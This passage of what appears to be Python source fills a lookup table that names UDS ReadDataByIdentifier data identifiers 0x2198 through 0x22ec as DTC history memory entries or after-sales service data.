UDS_RDBI.dataIdentifiers[0x2198] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2199] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21aa] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ab] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ac] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ad] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ae] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21af] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ba] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21be] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bf] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ca] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ce] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cf] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21da] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21db] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21dc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21dd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21de] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21df] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ea] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21eb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ec] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ed] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ee] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ef] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fa] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fe] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ff] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2200] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2201] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2202] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2203] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2204] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2205] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2206] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2207] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2208] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2209] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2210] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2211] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2212] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2213] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2214] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2215] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2216] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2217] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2218] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2219] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2220] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2221] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2222] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2223] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2224] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2225] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2226] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2227] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2228] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2229] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2230] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2231] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2232] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2233] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2234] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2235] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2236] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2237] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2238] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2239] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2240] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2241] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2242] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2243] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2244] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2245] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2246] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2247] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2248] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2249] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2250] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2251] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2252] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2253] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2254] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2255] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2256] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2257] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2258] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2259] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2260] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2261] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2262] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2263] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2264] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2265] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2266] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2267] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2268] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2269] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2270] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2271] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2272] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2273] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2274] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2275] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2276] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2277] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2278] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2279] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2280] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2281] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2282] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2283] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2284] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2285] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2286] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2287] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2288] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2289] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2290] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2291] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2292] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2293] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2294] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2295] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2296] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2297] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2298] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2299] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22aa] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ab] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ac] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ad] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ae] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22af] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ba] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22be] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bf] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ca] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ce] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cf] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22da] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22db] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22dc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22dd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22de] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22df] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ea] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22eb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ec] = 